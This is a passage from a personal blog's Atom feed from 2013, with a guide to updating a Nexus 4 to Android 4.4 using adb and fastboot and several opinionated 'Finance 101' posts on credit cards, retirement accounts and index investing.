<a href="https://www.capitalone.com/credit-cards/quicksilver/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Capital One QuickSilver Visa Cash Rewards</a> - 1.5% cash back on everything, no foreign transaction fee (the only such card in this list).</li>
<li>  
    
    
<a href="https://www.uber.com/c/uber-credit-card/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Barclays Uber Visa credit card</a> - 4% cash back on dining and 3% cash back on travel</li>
</ol>
<p>This list is by no means exhaustive, it is just a collection of good cards which I have owned/own at some point.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/personal-finance" term="personal-finance" label="personal-finance"/></entry><entry><title type="html">How to upgrade Nexus 4 to Android 4.4 Kitkat</title><link href="https://ashishb.net/programming/how-to-upgrade-nexus-4-to-android-4-4-kitkat/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><id>https://ashishb.net/programming/how-to-upgrade-nexus-4-to-android-4-4-kitkat/</id><author><name>Ashish Bhatia</name></author><published>2013-11-15T21:28:17+00:00</published><updated>2013-11-15T21:28:17+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to update your Android device safely using adb and fastboot. Follow our step-by-step guide on backing up, installing new images, and restoring data.</blockquote><p>Some experience with adb and fastboot preferred (they are part of   
    
    
<a href="https://developer.android.com/sdk/index.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">android SDK</a>)</p>
<ol>
<li>
<p><strong>Download</strong> latest factory image from   
    
    
<a href="https://developers.google.com/android/nexus/images#occamkrt16o?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://developers.google.com/android/nexus/images#occamkrt16o</a> and untar them. The extracted images ends up in occam-krt16o directory.
<em>tar xvf occam-krt16o-factory-75ccae7a.tgz</em></p>
</li>
<li>
<p><strong>Backup</strong></p>
<ol>
<li>SMS/call log etc. using   
    
    
<a href="https://play.google.com/store/apps/details?id=com.zegoggles.smssync&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SMS backup+</a> to Gmail.</li>
<li>All apks using
<em>adb backup -f ashishb_nov_15_backup.ab -apk -obb -noshared -all -nosystem</em>
(I mistakenly backed up and restored with -system and that was a bad idea).
This takes a bit of time, my total backup size was ~550MB.</li>
</ol>
</li>
<li>
<p><strong>Install</strong> the new image</p>
<ol>
<li>Boot into boot loader mode. <em>adb reboot-bootloader</em></li>
<li>Unlock the bootloader, this will delete all data in device (that&rsquo;s why we took backup in  the first place). This takes about 30 seconds.
<em>fastboot oem unlock</em></li>
<li>Install the new boot loader image.
<em>fastboot flash bootloader bootloader-mako-makoz20i.img</em></li>
<li>Reboot to use the new bootloader
<em>fastboot reboot-bootloader</em></li>
<li>Install the new radio image. This takes about 5 seconds.
<em>fastboot flash radio radio-mako-m9615a-cefwmazm-2.0.1700.84.img</em></li>
<li>Install the new system, recovery and boot image. This takes about 80 seconds.
<em>fastboot -w update image-occam-krt16o.zip</em></li>
</ol>
</li>
<li>
<p><strong>Restore</strong></p>
<ol>
<li>All apks (I use   
    
    
<a href="https://play.google.com/store/apps/details?id=com.teslacoilsw.launcher&amp;hl=en&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nova Launcher</a> so, it restores my launcher screens as well)
<em>adb restore ashishb_nov_15_backup.ab</em></li>
<li>Restore SMS and phone calls.</li>
</ol>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/kitkat" term="kitkat" label="kitkat"/><category scheme="https://ashishb.net/tag/nexus4" term="nexus4" label="nexus4"/></entry><entry><title type="html">Finance 101: A basic plan</title><link href="https://ashishb.net/finance/finance-101-a-basic-plan/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><link href="https://ashishb.net/finance/finance-101-cheatsheet/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Cheatsheet"/><link href="https://ashishb.net/finance/finance-101-references/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: References"/><link href="https://ashishb.net/finance/personal-finance-thoughts-on-peer-to-peer-lending/?utm_source=atom_feed" rel="related" type="text/html" title="Personal Finance: Thoughts on peer to peer lending"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><id>https://ashishb.net/finance/finance-101-a-basic-plan/</id><author><name>Ashish Bhatia</name></author><published>2013-11-10T23:02:08+00:00</published><updated>2013-11-10T23:02:08+00:00</updated><content type="html"><![CDATA[<blockquote>Create financial security with I-Bonds, a 401K, and a Roth IRA. Optimize your income with REITs, municipal bonds, and a three-fund portfolio strategy.</blockquote><p>Since my 
<a href="/category/finance/">previous posts</a>, quite a few people asked me a basic plan which can be followed, here it is.</p>
<p>The items are ordered from first thing to be done to the last thing which can be done (assuming money is still left).</p>
<ol>
<li><strong>Emergency savings</strong> Put 6 months worth of expenses in a Series I-Bonds (sold by   
    
    
<a href="https://treasurydirect.gov/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">treasurydirect.gov</a>) - they try to match inflation rates (but nothing more than that) and can be sold after holding them for at least a year. The idea behind this is to minimize downsides in case of a major market crash. Also, I-Bonds are not counted towards state taxes and a max of 10, 000$ can be purchased in a single year (per SSN).
Another simpler approach is to put money in high yield savings account like   
    
    
<a href="https://www.banking.barclaysus.com/online-savings.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Barclays Savings</a> or   
    
    
<a href="https://personalsavings.americanexpress.com/savings-product.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">American Express Savings</a>, of course, there is no rate guarantee and rate do fluctuate (usually go down) over time.</li>
<li><strong>Max out pre-tax 401K</strong> Assuming there is an employer match or if the person can convert it into Roth IRA.
Otherwise, don&rsquo;t do it.</li>
<li><strong>Backdoor Roth IRA</strong> Invest 5, 500 $ in traditional IRA, hold that for a few weeks and then convert it into Roth IRA and let the money grow tax-free.</li>
<li><strong>REITs and</strong> <strong>Preferred&rsquo;s</strong> Investing in dividend paying (or &ldquo;fixed income&rdquo; as they are called) equities is not the optimal strategy for someone who is working full time but I think its psychologically beneficial to get regular dividends especially when market tanks down.
An approach for that is to first figure out the amount of monthly dividend one wants to receive and then invest accordingly. For example, to get 100$ pre-tax a month in dividends from saying HSBC preferred shares (HCS) which has an 8% annual yield, the total investment has to be 15, 000 $.
A caveat here, dividends coming from preferred are qualified and taxed at a lower rate while dividends from REITs are not, they are considered a regular income. The trick is to hold REIT in Roth IRA account where the income becomes tax-free.</li>
<li><strong>Municipal Bonds</strong>(Disclaimer: I have not tried these)
Municipal bonds are usually issued for long-term (30 years) and the dividends they pay are tax-free (no state or federal taxes) provided the person is resident of that state. Rich people love these especially because the dividends are tax-free and there is no risk (except for municipality filing   
    
    
<a href="https://www.reuters.com/article/2013/10/23/usa-municipality-sanbernardino-idUSL1N0ID1GO20131023?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bankruptcy</a>) if they are held till maturity.
If they are not held till maturity there is in interest rate risk where bonds can go down in value if the interest rate goes up. So, the current market value of the bond will go down and vice versa.
In the current scenario (2013), interest rates are low enough that they can only go up, so, investing in these does not make sense unless the person is planning to hold them till maturity.</li>
<li><strong>Three-fund portfolio</strong> Rest of the money should go into a three fund portfolio ( 
<a href="/finance/finance-101-cheatsheet/">discussed earlier</a>).</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/personal-finance" term="personal-finance" label="personal-finance"/></entry><entry><title type="html">Finance 101: Cheatsheet</title><link href="https://ashishb.net/finance/finance-101-cheatsheet/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><link href="https://ashishb.net/finance/finance-101-a-basic-plan/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: A basic plan"/><link href="https://ashishb.net/finance/finance-101-references/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: References"/><link href="https://ashishb.net/finance/personal-finance-thoughts-on-peer-to-peer-lending/?utm_source=atom_feed" rel="related" type="text/html" title="Personal Finance: Thoughts on peer to peer lending"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><id>https://ashishb.net/finance/finance-101-cheatsheet/</id><author><name>Ashish Bhatia</name></author><published>2013-11-10T05:19:37+00:00</published><updated>2013-11-10T05:19:37+00:00</updated><content type="html"><![CDATA[<blockquote>Maximize your retirement savings with smart strategies for 401K plans, Roth conversions, and tax-efficient investing. Discover key insights for financial growth.</blockquote><p>(Based on what I have seen financial savvy people doing and makes sense to me. Disclaimer: These are my opinions.)</p>
<ol>
<li>
<p><strong>Should a person contribute to pre-tax 401K?</strong> Only if the company has a matching policy, else wise, its money trapped till the person reaches retirement age.</p>
</li>
<li>
<p><strong>Should a person contribute to post-tax 401K?</strong> Only if the company has a matching policy, else wise, its money trapped till the person reaches retirement age.</p>
</li>
<li>
<p><strong>What about pre-tax 401K vs post-tax 401K?</strong>
Post-tax  401K is better than pre-tax only if</p>
<ol>
<li>The person decides to immediately convert to Roth IRA (since in Roth earnings will be tax-free while in post-tax, they are tax-deferred, this depends on whether the employee permits it or not.</li>
<li>If the employer does not permit Roth conversion but still the person is either on a really low tax rate for that year (eg. not working for a full year or had added dependents to the family etc.) or expects the future tax rates to be much higher.</li>
</ol>
</li>
<li>
<p><strong>What about traditional IRA?</strong> Same as pre-tax 401K, contributions are tax-deductible (if the income is below certain limits which are relatively low), earnings are tax-deferred either ways.
The only case where this makes sense is to contribute and then immediately convert to Roth IRA where earnings will grow tax-free.  This technique is popular enough to acquire a name of its own &quot;   
    
    
<a href="https://www.bogleheads.org/wiki/Backdoor_Roth_IRA?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Backdoor Roth IRA</a>&quot;.</p>
</li>
<li>
<p><strong>What about   
    
    
<a href="https://www.investopedia.com/ask/answers/09/indexed-universal-life-insurance.asp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Indexed Universal Life Insurance</a>?</strong>
The solution of guaranteed no-money-loss in a single year sounds really promising but its stupid to be told that I have to pay interest to borrow my own money and will be charged a premium for someone else to make money off of the money, not to ignore the fact that this insurers itself can be at the brink of   
    
    
<a href="https://www.wsj.com/articles/SB122156561931242905?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bankruptcy</a>.</p>
</li>
<li>
<p><strong>What about tax efficiency?</strong> Long-term stock gains and qualified dividends receive favorable tax treatment, that is, lower tax rates.
Bonds, interest from bonds, short-term stocks, interest from bank accounts(yeah that pesky tenth of a penny) are treated as regular income, so, these things should be better held in either tax-deferred account or tax-free (retirement) accounts.
International stocks should be held in taxable (normal) account since they are taxed by foreign countries and one can receive a foreign tax credit by holding them in a taxable account. All other stocks should be held first in taxable and then left over in tax-free and then tax-deferred account.
Do note that stocks held in a taxable account will be taxed at a lower rate than in tax-deferred account where they are taxed as normal income upon retirement.
More details on   
    
    
<a href="https://www.bogleheads.org/wiki/Principles_of_tax-efficient_fund_placement?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bogleheads</a>.</p>
</li>
<li>
<p><strong>What about tax loss harvesting?</strong> Complicated topic, I will write a blog post some other day.</p>
</li>
<li>
<p><strong>What would be a basic allocation?</strong> Go for Bogleheads   
    
    
<a href="https://www.bogleheads.org/wiki/Three-fund_portfolio?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">three fund portfolio</a>.
Invest in three things</p>
<ol>
<li>Total US stock market (VTI or VTSAX)</li>
<li>Total world stock market excluding US (VEU or VXUS or VFWIX)</li>
<li>Total bond market (BND) ~ %age allocation should be almost the person&rsquo;s age (conservative rule - reduce this %age to be more aggressive)
Split between (1) and (2) should be roughly 80:20 or 70:30.</li>
</ol>
</li>
<li>
<p><strong>What about rebalancing?</strong>
As the person invests more, s/he should put more money in a manner to ensure that the above allocation ratio is maintained.</p>
</li>
<li>
<p><strong>Should the person go all in or slowly move money into the market (Dollar cost averaging)?</strong> Dollar cost averaging outperformsone-timee all-in in only 33% of cases (   
    
    
<a href="https://personal.vanguard.com/pdf/s315.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vanguard study</a>) but I think it makes one feel psychologically safer, IMHO, first timers should go for DCA.</p>
</li>
<li>
<p><strong>What about exotic stuff like commodities, precious metals and rare earth metals?</strong> The only time people think about buying these is when everyone else is talking about them, these have already peaked in prices and its an even worse time to buy them - paraphrased from   
    
    
<a href="https://amzn.to/19IlwKS?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The only investment guide you will ever need</a>.</p>
</li>
<li>
<p><strong>What about P2P lending?</strong> Income  from P2P lending is considered regular income and losses are not tax-deductible, therefore, from a financial perspective, it makes sense to invest only via Roth IRA. Apart from that, I believe its too much hassle in terms of time (see my previous post on 
<a href="/all/personal-finance-thoughts-on-peer-to-peer-lending/">Peer to Peer lending</a>).</p>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/personal-finance" term="personal-finance" label="personal-finance"/></entry><entry><title type="html">Finance 101: References</title><link href="https://ashishb.net/finance/finance-101-references/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><link href="https://ashishb.net/finance/finance-101-a-basic-plan/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: A basic plan"/><link href="https://ashishb.net/finance/finance-101-cheatsheet/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Cheatsheet"/><link href="https://ashishb.net/finance/personal-finance-thoughts-on-peer-to-peer-lending/?utm_source=atom_feed" rel="related" type="text/html" title="Personal Finance: Thoughts on peer to peer lending"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><id>https://ashishb.net/finance/finance-101-references/</id><author><name>Ashish Bhatia</name></author><published>2013-11-10T05:19:17+00:00</published><updated>2013-11-10T05:19:17+00:00</updated><content type="html"><![CDATA[<blockquote>Discover insightful books, blogs, and tools for savvy investing. From stock picking to retirement tips, explore resources to enhance your finance knowledge.</blockquote><h2 id="books">Books</h2>
<ol>
<li>  
    
    
<a href="https://amzn.to/18c64KC?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">One up on Wall Street</a> by Peter Lynch - a good book on stock picking</li>
<li>  
    
    
<a href="https://amzn.to/19Emcov?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">A random walk down the wall street</a> by Burton Malkiel - a good book on why not to pick stocks</li>
<li>  
    
    
<a href="https://amzn.to/19IlwKS?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The only investment guide you will ever need</a> by Andrew Tobias - a hilarious summary of investing/saving and many other random money related topics</li>
<li>  
    
    
<a href="https://amzn.to/17BetTu?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The retirement miracle</a> - For people who believe in indexed universal life insurance plans (I don&rsquo;t)</li>
<li>  
    
    
<a href="https://amzn.to/1aChOEF?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Where are customer&rsquo;s yachts</a> - hilarious read on wall street trader who profit on the expense of customers (won&rsquo;t help in investing though).</li>
</ol>
<h2 id="blogs">Blogs</h2>
<ol>
<li>  
    
    
<a href="https://fairmark.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fairmark.com</a> - There only guides are thorough and amazing but requires some effort to grasp (only recommended for advanced and the curious)</li>
<li>  
    
    
<a href="https://www.bogleheads.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bogleheads</a> - Interesting forum of people who believes in Jack Bogle&rsquo;s philosophy of index investing (Jack Bogle is founder of Vanguard), definitely read   
    
    
<a href="https://www.bogleheads.org/wiki/Three-fund_portfolio?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">three-fund portfolio</a></li>
<li>  
    
    
<a href="https://www.thereformedbroker.com/2012/01/23/joshs-twenty-common-sense-investing-rules/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Twenty Common Sense Investing rules</a></li>
<li>  
    
    
<a href="https://www.magnifymoney.com/blog/retirement/ultimate-guide-maximizing-employers-401k-retirement/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">401(k) Guide</a></li>
</ol>
<h2 id="good-portfolio-checker-sites">Good portfolio checker sites</h2>
<ol>
<li>  
    
    
<a href="https://www.sigfig.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sigfig.com</a></li>
<li>  
    
    
<a href="https://personalcapital.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">personalcapital.com</a></li>
<li>  
    
    
<a href="https://www.futureadvisor.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">futureadvisor.com</a></li>
<li>  
    
    
<a href="https://www.feex.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">feex.com</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/personal-finance" term="personal-finance" label="personal-finance"/></entry><entry><title type="html">Finance 101: Table of contents</title><link href="https://ashishb.net/finance/finance-101-table-of-contents/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><link href="https://ashishb.net/finance/finance-101-a-basic-plan/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: A basic plan"/><link href="https://ashishb.net/finance/finance-101-cheatsheet/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Cheatsheet"/><link href="https://ashishb.net/finance/finance-101-references/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: References"/><link href="https://ashishb.net/finance/finance-101-type-of-money-holding-accounts/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Type of money holding accounts"/><id>https://ashishb.net/finance/finance-101-table-of-contents/</id><author><name>Ashish Bhatia</name></author><published>2013-10-14T05:40:05+00:00</published><updated>2013-10-14T05:40:05+00:00</updated><content type="html"><![CDATA[<blockquote>At set of articles on basic personal finance that covers credit cards to retirement accounts</blockquote><ol>
<li>
<a href="/finance/finance-101-terminology/">Terminology</a> - of the terms used in other sections</li>
<li>
<a href="/finance/finance-101-type-of-money-holding-accounts/">Type of accounts</a> - a summary of  retirement and non-retirement accounts</li>
<li>
<a href="/finance/finance-101-cheatsheet/">Building towards basic plan</a></li>
<li>
<a href="/all/finance-101-a-basic-plan/">A basic plan</a></li>
<li>
<a href="/finance/finance-101-credit-cards/">Credit Cards</a></li>
<li>
<a href="/finance/finance-101-references/">References</a></li>
</ol>
<p>Disclaimer:</p>
<ol>
<li>These blog post(s) are based on my perception which might deviate from the reality. Use these as a data point, not as a sole data point.</li>
<li>Given a choice between being comprehensive and accurate vs. being concise and inaccurate, I decided to choose the latter. Since I believe there is enough text out there for the former audience.</li>
<li>In some cases, I have implicitly assumed a single, unmarried, under 50, Silicon Valley engineer. While most of the blog post(s) still remains valid, some things might change because of that.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/></entry><entry><title type="html">Finance 101: Type of money holding accounts</title><link href="https://ashishb.net/finance/finance-101-type-of-money-holding-accounts/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-terminology/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Terminology"/><link href="https://ashishb.net/finance/malkiels-timeless-lessons-for-investors/?utm_source=atom_feed" rel="related" type="text/html" title="Malkiel's Timeless lessons for Investors"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/the-intelligent-investor/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Intelligent Investor by Benjamin Graham"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><id>https://ashishb.net/finance/finance-101-type-of-money-holding-accounts/</id><author><name>Ashish Bhatia</name></author><published>2013-10-14T05:26:16+00:00</published><updated>2013-10-14T05:26:16+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the ins and outs of different financial accounts, from checking to retirement accounts, and discover the tax implications and benefits of each.</blockquote><p>Money has to be held in some form or the other. It could be cash, physical gold, land, or more conveniently accounts. The blog post is only about the last one.</p>
<p><strong>Normal accounts</strong> (or non-retirement accounts) - held at banks</p>
<ol>
<li>Checking account -
<ol>
<li>Post-tax contributions</li>
<li>Earnings are realized immediately and taxed as ordinary income</li>
<li>Account will never go down in value (insured by FDIC for up to the first 250K $)</li>
<li>money is highly liquid - can be deposited/withdrawn at any time (and absolute limits on deposit/withdrawal are usually of the order of 10, 000$ per day)</li>
</ol>
</li>
<li>Savings account
<ol>
<li>Post-tax contributions</li>
<li>Earnings are realized immediately and taxed as ordinary income</li>
<li>Account will never go down in value (insured by FDIC for up to the first 250K $)</li>
<li>Money can be deposited anytime but can only be withdrawn   
    
    
<a href="https://en.wikipedia.org/wiki/Regulation_D_%28FRB%29#Six_transaction_limit?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">six times per month</a></li>
</ol>
</li>
</ol>
<p><strong>Investment accounts</strong> (for lack of a better term) - held at stockbrokers
These can be held as retirement or non-retirement accounts. Tax treatment of contributions/earnings/withdrawals depends on the type of parent account they are part of.</p>
<ol>
<li>Money market account
<ol>
<li>Post/Pre-tax contributions (depending on whether its a pre-tax account or post-tax contribution account)</li>
<li>Earnings are realized and taxed as ordinary income</li>
<li>Primarily used for holding money temporarily before it is used for stocks or bonds (or more exotic things like options)</li>
<li>The account can go down in value, though it happens rarely</li>
</ol>
</li>
<li>Brokerage account
<ol>
<li>The account which holds holdings in stocks/bonds</li>
<li>Earnings are not realized till a sale happens and then taxed as ordinary income or capital gains/losses depending on the holding period</li>
</ol>
</li>
</ol>
<p><strong>Retirement accounts -</strong> held at stockbrokers</p>
<p>Retirement accounts provide certain tax advantages (like tax-free or tax-deferred growth), usually, these accounts come with a restriction like money cannot be withdrawn at all till the age of 59.5 years or can be withdrawn before that by paying a penalty (account-specific details are given below).</p>
<p>IRA = Individual retirement account, just like a bank account, anyone can open it at pretty much any broker.
401K = employer-sponsored account, can be opened only by the employer and contributions can only be made directly via paycheck [and employer contributions], the choice of funds to invest is also controlled by the employer, sometimes, employers provide a match to encourage employees.</p>
<ol>
<li>Traditional IRA
<ol>
<li>Direct contributions have a maximum limit (5,500$ annual limit in 2013 for people below the age of 50).</li>
<li>Contributions are tax-deductible if income is   
    
    
<a href="https://en.wikipedia.org/wiki/Traditional_IRA#Income_limits?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">less</a> than a certain limit (limits are pretty low, though).</li>
<li>Earnings are tax-deferred but taxed as ordinary income on withdrawal.</li>
<li>Money can be withdrawn after the age of 59.5 (or before with a 10% penalty unless it&rsquo;s a case of financial hardship).</li>
<li>On leaving an employer, its 401K plan can be converted to a traditional IRA account.</li>
<li>See more gory details on the   
    
    
<a href="https://en.wikipedia.org/wiki/Traditional_IRA?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wikipedia page</a>.</li>
</ol>
</li>
<li>Roth IRA
<ol>
<li>Direct contributions have a maximum limit the same as traditional IRA but the income limit to make contributions is much   
    
    
<a href="https://en.wikipedia.org/wiki/Roth_IRA#Income_limits?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lower</a>.</li>
<li>Indirect contributions can be done via rolling over 401K money (if the employer allows) or backdoor Roth IRA (contribute to Traditional and convert to Roth).</li>
<li>Earnings are tax-free.</li>
<li>Contributions can be withdrawn after a seasoning period (5 years) with no penalties (provided there is a reason - like financial hardship).</li>
<li>Earnings can be withdrawn after the age of 59.5 tax-free or by paying both tax and penalty (10%) before that age.</li>
<li>Roth IRA is the only retirement account with no RMD (required minimum distribution clause).</li>
<li>See more gory details on the   
    
    
<a href="https://en.wikipedia.org/wiki/Roth_IRA?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wikipedia page</a>.</li>
</ol>
</li>
<li>Pre-tax 401K
<ol>
<li>Contributions are pre-tax (max employee annual contribution limit $17.5K - must come directly from paycheck), and employer contributions are not counted towards this limit (they are subject to a total retirement contribution limit which hovers around $50K).</li>
<li>Earnings are tax-deferred.</li>
<li>Withdrawals are taxed at ordinary income tax at the time of withdrawal.</li>
<li>Some 401K plans don&rsquo;t allow any withdrawal (even for financial hardship) till the age of 59.5</li>
<li>An employer decides which funds will be available for a 401K plan.</li>
<li>See more gory details on the   
    
    
<a href="https://en.wikipedia.org/wiki/401%28k%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wikipedia page</a>.</li>
</ol>
</li>
<li>post-tax 401K
<ol>
<li>Contributions are post-tax. (same limit at pre-tax 401K)</li>
<li>Earnings are tax-deferred.</li>
<li>Contributions are withdrawn tax-free, and earnings are taxed at ordinary income tax at the time of withdrawal.</li>
<li>Some people prefer post-tax since they can effectively contribute more money into the account.</li>
</ol>
</li>
<li>Roth 401K
<ol>
<li>Similar to Roth IRA in the sense that contributions are post-tax (for most people) and earnings are tax-free.</li>
<li>Withdrawal through is controlled by the employer and might not be possible without leaving the employer or attaining the age of 59.5.</li>
<li>Usually, it&rsquo;s a good idea to convert post-tax 401K to Roth 401K (or Roth IRA) if that choice is available in the employer&rsquo;s plan.</li>
</ol>
</li>
<li>Some other exotic options like SEP IRA, and 403(b) plan - I don&rsquo;t know these, and they won&rsquo;t be covered here</li>
</ol>
<figure>
    
    <a href="Retirement-accounts-contributions-vs-earnings-chart-1.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Retirement-accounts-contributions-vs-earnings-chart-1.png"
         alt="Bar chart comparing contributions and growth of different retirement accounts, including SEP IRA and 403(b)" width="900"/> </a>
</figure>

<p>Which plan should a person go for?
See my next blog post for the same.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/finance" term="finance" label="finance"/></entry><entry><title type="html">Finance 101: Terminology</title><link href="https://ashishb.net/finance/finance-101-terminology/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-type-of-money-holding-accounts/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Type of money holding accounts"/><link href="https://ashishb.net/finance/malkiels-timeless-lessons-for-investors/?utm_source=atom_feed" rel="related" type="text/html" title="Malkiel's Timeless lessons for Investors"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/the-intelligent-investor/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Intelligent Investor by Benjamin Graham"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><id>https://ashishb.net/finance/finance-101-terminology/</id><author><name>Ashish 